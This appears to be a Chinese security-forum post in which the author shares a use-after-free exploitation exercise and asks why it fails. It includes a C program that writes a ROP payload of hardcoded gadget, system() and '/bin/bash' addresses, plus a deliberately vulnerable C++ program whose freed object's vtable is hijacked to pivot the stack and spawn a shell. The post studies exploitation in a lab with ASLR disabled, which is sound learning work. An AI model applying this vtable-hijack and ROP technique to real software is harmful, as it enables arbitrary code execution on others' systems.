filewrite.c文件
#include <stdio.h>
#include <stdlib.h>
int main()
{
FILE * fp = fopen("payload.txt","wb");
char buffer[40] = {
0x37,0x86,0x04,0x08,//stack pivot
0x3b,0x86,0x04,0x08,//pop instruction pop %ebp
0x01,0x01,0x01,0x01,
0x02,0x86,0x04,0x08,//pop(2 reg) instruction pop %ebx
0x02,0x02,0x02,0x02,
0x03,0x03,0x03,0x03,
0x30,0xa4,0xd7,0xb7,//system
0x38,0x87,0x04,0x08,//real a.func()
0xb8,0xf5,0xff,0xbf};//"/bin/bash"
if(fp!=NULL)
{
fwrite(buffer,1,40,fp);
fclose(fp);
}
return 0;
}
test.cpp文件
#include <stdio.h>
#include <stdlib.h>
using namespace std;
class A{
public:
char buffer[196];
virtual void func(){ printf("A.func\n"); }
};
void DumbFunc()
{
asm ("xchg %%eax, %%esp;"
"pop %%eax;"
"pop %%eax;"
"ret;"
: : :"%esp"); /* clobbered register */
}
int main()
{
A *a = new A;
printf("%x:%x\n",(unsigned int *)a,*(unsigned int *)a);
delete a;
unsigned int *HeapPayload = (unsigned int *)malloc(200);
printf("%x\n",HeapPayload);
FILE *fp = fopen("payload.txt","rb");
if(fp!=NULL)
{
*HeapPayload = (unsigned int)(HeapPayload + 1); //payload+4 vtable(stack pivot gadget address)
fread(HeapPayload+1,1,196,fp);
fclose(fp);
}
a->func();
free(HeapPayload);
return 0;
}
程序说明:文件清单
1.源代码
test.cpp 漏洞利用程序
filewrite.c 写payload.txt的程序
2.可执行文件
test
filewrite
3. 其他
payload.txt payload
objdump objdump命令执行结果
core文件
环境:ubuntu12.04 32位,内核版本3.11.0,关闭了随机化。
漏洞程序说明
模拟了一个use-after-free漏洞,a对象释放后内存被HeapPayload占用,修改了虚表地址,使其指向HeapPayload+4的位置(存放stack pivot地址),从而a->func执行了一条stack pivot。这里的stack pivot是直接构造在DumbFunc函数里的.。
payload作用
stack pivot后,执行了两个无意义的pop型gadget,然后执行system("/bin/bash")开了一个新的shell,再执行了原来的func函数,然后将"/bin/bash"地址当作了返回地址,引发段错误。(可见执行过程.png)
具体程序即执行过程请看附件,但是自己的执行过程一直实现不了system(“/bin/bash”),求大神解答一下
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课